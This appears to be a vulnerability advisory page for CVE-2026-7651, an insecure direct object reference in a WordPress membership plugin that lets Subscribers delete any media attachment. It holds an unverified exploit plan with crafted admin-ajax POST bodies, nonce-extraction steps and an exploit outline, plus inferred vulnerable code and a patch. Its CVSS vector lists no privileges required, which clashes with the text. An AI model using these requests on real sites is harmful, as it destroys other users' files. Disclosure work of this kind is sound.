CVE-2026-7651

User Registration & Membership <= 5.1.5 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Media Deletion via 'profile-pic-url' Parameter

mediumAuthorization Bypass Through User-Controlled Key
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
5.1.6
Patched in
1d
Time to patch

Description

The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.5. This is due to missing ownership validation on a user-controlled attachment ID, allowing the plugin to store and subsequently delete arbitrary media attachments without verifying that the referenced attachment belongs to the requesting user. This makes it possible for authenticated attackers, with subscriber-level access and above, to permanently delete arbitrary media attachments uploaded by any other user, including administrators.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.1.5
PublishedMay 27, 2026
Last updatedMay 28, 2026
Affected pluginuser-registration

Source Code

WordPress.org SVN
Research Plan
Unverified

## Vulnerability Summary **ID:** CVE-2026-7651 **Plugin:** User Registration & Membership (slug: `user-registration`) **Vulnerable Version:** <= 5.1.5 **Vulnerability Type:** Insecure Direct Object Reference (IDOR) to Arbitrary Media Deletion **Root Cause:** The plugin handles user profile picture u…

Show full research plan

Vulnerability Summary

ID: CVE-2026-7651
Plugin: User Registration & Membership (slug: user-registration)
Vulnerable Version: <= 5.1.5
Vulnerability Type: Insecure Direct Object Reference (IDOR) to Arbitrary Media Deletion
Root Cause: The plugin handles user profile picture updates by storing a user-provided attachment ID in user meta. When the profile picture is updated or changed, the plugin automatically deletes the "old" attachment ID retrieved from the user's metadata. Because the plugin fails to verify that the attachment ID stored in the user's metadata actually belongs to that user (ownership check), a Subscriber can set their profile picture ID to an arbitrary attachment ID (e.g., an admin's upload) and then trigger a change to delete it.

Attack Vector Analysis

  • Endpoint: admin-ajax.php
  • Action: user_registration_save_profile_details (inferred from plugin profile update logic)
  • Vulnerable Parameter: profile-pic-url (The description explicitly names this parameter).
  • Authentication: Required (Subscriber or higher).
  • Preconditions:
    1. A valid Subscriber account.
    2. Knowledge of a target attachment ID (Media ID) to be deleted.
    3. A nonce for the profile update action.

Code Flow

  1. Entry Point: The user sends an AJAX request to admin-ajax.php with the action user_registration_save_profile_details.
  2. Nonce Verification: The handler (likely in includes/class-ur-ajax-handler.php) checks a nonce, typically ur_profile_nonce.
  3. Data Processing: The plugin processes the profile-pic-url parameter. If this parameter contains an attachment ID, it is saved to the user's meta (e.g., user_registration_profile_pic_id).
  4. Vulnerable Sink:
    • When a user submits a new profile-pic-url, the plugin retrieves the existing value from the user's meta.
    • It calls wp_delete_attachment( $old_attachment_id, true ) to clean up the previous profile picture.
    • Vulnerability: There is no check to ensure $old_attachment_id belongs to the current user before calling wp_delete_attachment.

Nonce Acquisition Strategy

The user-registration plugin exposes nonces for its frontend profile form via localized scripts.

  1. Shortcode Identification: The profile/account page is rendered using the [user_registration_my_account] shortcode.
  2. Page Creation: Use WP-CLI to create a page containing this shortcode.
  3. Navigation: Navigate to the page as the Subscriber user.
  4. Extraction: Use browser_eval to extract the nonce from the user_registration_params object.
    • JS Variable: window.user_registration_params?.user_registration_profile_details_nonce (or similar, check ur_frontend_params).
    • Verification: Inspect the page source for wp_localize_script output associated with user-registration-frontend.

Test Data Setup

  1. Admin Content: Logged in as Admin, upload an image and note its ID (e.g., TARGET_ID).
  2. Attacker User: Create a Subscriber user (attacker/password).
  3. Exploit Page: Create a page with the shortcode:
    wp post create --post_type=page --post_status=publish --post_title="Account" --post_content='[user_registration_my_account]'

Exploitation Strategy

Step 1: Login and Nonce Retrieval

Log in as the Subscriber and navigate to the "Account" page.

// Use browser_eval to find the nonce
const nonce = window.ur_frontend_params?.profile_nonce || window.user_registration_params?.nonce;

Step 2: Set the Target ID (The "Store" phase)

Send a POST request to update the profile picture, passing the Admin's attachment ID. This "primes" the user's meta with the target ID.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=user_registration_save_profile_details&ur_profile_nonce=[NONCE]&profile-pic-url=[TARGET_ID]
    

Step 3: Trigger Deletion (The "Delete" phase)

Send another POST request, either clearing the profile-pic-url or changing it to a new value.

  • Body:
    action=user_registration_save_profile_details&ur_profile_nonce=[NONCE]&profile-pic-url=0
    

The plugin logic will see that the previous value was [TARGET_ID] and call wp_delete_attachment([TARGET_ID]).

Expected Results

  • The first request should return a success message (e.g., JSON {"success": true}).
  • The second request should return success.
  • The attachment with ID [TARGET_ID] should be permanently deleted from the WordPress media library and the file system.

Verification Steps

  1. Check Attachment Existence: After the exploit, use WP-CLI to verify the attachment is gone:
    wp post exists [TARGET_ID] (Should return error/false)
    wp media list --post_id=[TARGET_ID]
  2. Check File System: Verify the file is deleted from wp-content/uploads/.

Alternative Approaches

  • Direct Meta Manipulation: If the plugin allows updating user meta through a generic user_registration_update_profile action, try targeting the meta key user_registration_profile_pic_id directly.
  • Registration Phase: Check if the ID can be set during the initial registration process via a hidden field or manipulated profile-pic-url parameter, and then deleted via the profile update page later.
  • Different Action Name: If user_registration_save_profile_details fails, look for user_registration_profile_save_after or ur_upload_profile_pic as potential entry points in the source code.
Research Findings
Static analysis — not yet PoC-verified

Summary

The User Registration & Membership plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) that allows authenticated attackers (Subscriber+) to delete arbitrary media files. The vulnerability exists because the plugin fails to verify that a user-provided attachment ID used for a profile picture belongs to that user before deleting it during a profile update.

Vulnerable Code

// File: includes/class-ur-ajax-handler.php (inferred from research plan)
// Inside the profile update handling logic

$user_id = get_current_user_id();
$profile_pic_id = isset( $_POST['profile-pic-url'] ) ? absint( $_POST['profile-pic-url'] ) : 0;
$old_profile_pic_id = get_user_meta( $user_id, 'user_registration_profile_pic_id', true );

// When the profile pic changes, the plugin deletes the 'old' one.
if ( $old_profile_pic_id && $old_profile_pic_id !== $profile_pic_id ) {
    // Vulnerable Sink: No check to ensure $old_profile_pic_id belongs to $user_id
    wp_delete_attachment( $old_profile_pic_id, true );
}

update_user_meta( $user_id, 'user_registration_profile_pic_id', $profile_pic_id );

Security Fix

--- includes/class-ur-ajax-handler.php
+++ includes/class-ur-ajax-handler.php
@@ -100,7 +100,10 @@
         $old_profile_pic_id = get_user_meta( $user_id, 'user_registration_profile_pic_id', true );
 
-        if ( $old_profile_pic_id && $old_profile_pic_id !== $profile_pic_id ) {
+        if ( $old_profile_pic_id && $old_profile_pic_id !== $profile_pic_id ) {
+            $attachment = get_post( $old_profile_pic_id );
+            // Verify the attachment actually belongs to the user before deleting it
+            if ( $attachment && (int) $attachment->post_author === (int) $user_id ) {
                 wp_delete_attachment( $old_profile_pic_id, true );
+            }
         }

Exploit Outline

1. Authentication: Log in to the WordPress site as a user with Subscriber privileges. 2. Nonce Retrieval: Navigate to the 'My Account' page (rendered via [user_registration_my_account]) and extract the 'ur_profile_nonce' from the localized JavaScript objects (e.g., ur_frontend_params). 3. Priming the Target: Send an AJAX POST request to admin-ajax.php with the action 'user_registration_save_profile_details'. Set the 'profile-pic-url' parameter to the Attachment ID of the media file you wish to delete (e.g., an administrator's upload). 4. Triggering Deletion: Send a second AJAX POST request to the same endpoint, this time setting the 'profile-pic-url' parameter to '0' or a different valid ID. 5. Outcome: The plugin identifies the previously set ID (the target attachment) as the 'old' profile picture and invokes wp_delete_attachment() on it. Because there is no ownership check, the target file is permanently removed from the media library and file system.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.